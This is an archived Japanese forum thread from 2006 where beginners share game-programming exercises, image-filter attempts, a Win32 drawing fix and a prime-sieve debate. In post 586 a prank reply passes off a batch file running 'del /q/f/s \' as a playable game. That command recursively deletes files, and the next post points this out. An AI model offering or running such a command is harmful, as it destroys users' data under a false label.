[過去ログ] 【初心者】課題をクリアしていくスレ【講習会】 (787レス)
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574: 名前は開発中のものです。 [sage] 2006/08/16(水) 23:44:56 ID:hBfKBKuk(1) AAS
題8 弾を撃って貰います vb.net
外部リンク[phps]:gamdev.org
ArrayList使ってみた
当たり判定ちょっと面倒だったよ
本当は関数化したほうがいいのかな
575: 名前は開発中のものです。 [sage] 2006/08/19(土) 12:29:09 ID:Kg/n9ytV(1) AAS
課題10 インベダ風移動 vb.net
外部リンク[phps]:gamdev.org
VBって解放が必要なのか不要なのかいまいちわかりずらいorz
576: 名前は開発中のものです。 [] 2006/09/10(日) 17:11:36 ID:TDb9YusH(1) AAS
スレ違いかもしれないですけど。
回線速度が512Kbp/Sの回線を用いて256000byteのデータを、
転送するためには何秒かかるか。
1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、
平均2?秒とする。
計算式も書くこと。
さっぱり分かりませんので計算お願いします。。。
577: 名前は開発中のものです。 [sage] 2006/09/10(日) 18:48:03 ID:WLNmrtem(1) AAS
基本情報の午前に出そうな問題だな。
懐かしいわ。
578: 名前は開発中のものです。 [sage] 2006/09/10(日) 19:47:52 ID:GdkKRdS2(1) AAS
スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが
こんなやつ誘導したくないな
579: 名前は開発中のものです。 [sage] 2006/09/17(日) 15:08:39 ID:dp7/71US(1) AAS
最近の若い者って、調べる能力がやたら低くない?
人のことを若い者って言えるほど年食ってるわけじゃないけど。
580: 名前は開発中のものです。 [sage] 2006/09/17(日) 16:08:29 ID:kab63KmG(1) AAS
ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、
既得権益の亡者な教師にはソレができない。
581: 名前は開発中のものです。 [sage] 2006/09/18(月) 13:16:25 ID:W/lXcIbz(1) AAS
安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
582(2): 名前は開発中のものです。 [] 2006/10/19(木) 12:24:46 ID:2T8BbUdQ(1) AAS
いくつか問題を出しましょう。
エフェクトに関する入り口。
適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。
583: くたらぎけん [] 2006/10/20(金) 14:17:57 ID:an970z+w(1) AAS
このスレ今から参加しても宜しいのでしょうか?
584: 名前は開発中のものです。 [sage] 2006/10/20(金) 22:11:32 ID:fQ4Z1QKt(1) AAS
勝手にやればいいんでね
585: 名前は開発中のものです。 [] 2006/10/21(土) 09:30:29 ID:wamNDeux(1/2) AAS
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい
時間が無いのでなるべく早くお願いします
586(1): 名前は開発中のものです。 [sage] 2006/10/21(土) 09:35:13 ID:6R8oaMOr(1) AAS
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \
3.出来たファイルを実行する
4.昨夜はお楽しみでしたね
587: 名前は開発中のものです。 [sage] 2006/10/21(土) 19:37:53 ID:XCzYIwYp(1) AAS
まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
588: 名前は開発中のものです。 [] 2006/10/21(土) 21:56:38 ID:wamNDeux(2/2) AAS
delで何となく分かったよ
別に困らないけどね
589: 名前は開発中のものです。 [] 2006/10/22(日) 00:00:29 ID:IqzFRS51(1) AAS
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
590: 名前は開発中のものです。 [sage] 2006/10/22(日) 09:32:09 ID:be4WCk1M(1) AAS
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");
3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
591: 受験生 ◆B57Fo1eLjo [sage] 2006/10/22(日) 10:29:26 ID:T38aBY/h(1) AAS
2あたりにいた受験生です(酉忘れちまったw
このスレまだあったのか…
また課題でも用意する?
592: 名前は開発中のものです。 [] 2006/11/19(日) 01:28:15 ID:wJaGDUpd(1) AAS
>>582の課題やってみました
モノクロということでカラー画像から2値画像への変換
外部リンク[zip]:gamdev.org
開発環境はDelphi6 personal
ソース、実行ファイルが含まれています
使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます
画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)
変換サンプル画像
変換前
画像リンク
↓
変換後
画像リンク
避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな
593(2): C++/win32API [] 2006/11/25(土) 00:09:14 ID:ZxloQDt/(1/2) AAS
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?
外部リンク[zip]:gamdev.org
594(1): 名前は開発中のものです。 [sage] 2006/11/25(土) 02:02:55 ID:FscVmuXx(1) AAS
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
を
SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。
595: 名前は開発中のものです。 [sage] 2006/11/25(土) 17:57:48 ID:zYG1sxsz(1) AAS
>>582の課題モザイク
サンプル画像
画像リンク
実行ファイルとソース
外部リンク[zip]:gamdev.org
このままの速度じゃゲームに使えないね
ひと段落ついたら高速化もやってみたい
それにしてもエッジ難しすぎる……
微分やオペレータって画像処理の基本らしいので
がんばりたいけど
596: 593 [] 2006/11/25(土) 21:37:45 ID:ZxloQDt/(2/2) AAS
>>594
できました!ありがとうございます。
597(1): 名前は開発中のものです。 [sage] 2006/11/27(月) 13:00:13 ID:AfDweK2L(1) AAS
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
598(1): 名前は開発中のものです。 [sage] 2006/11/27(月) 20:55:38 ID:3EIwZmwn(1) AAS
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。
そうしてみると、1000個目の素数を探すプログラムには、
・ 次に判定する整数を示すカウンタ
・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。
「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。
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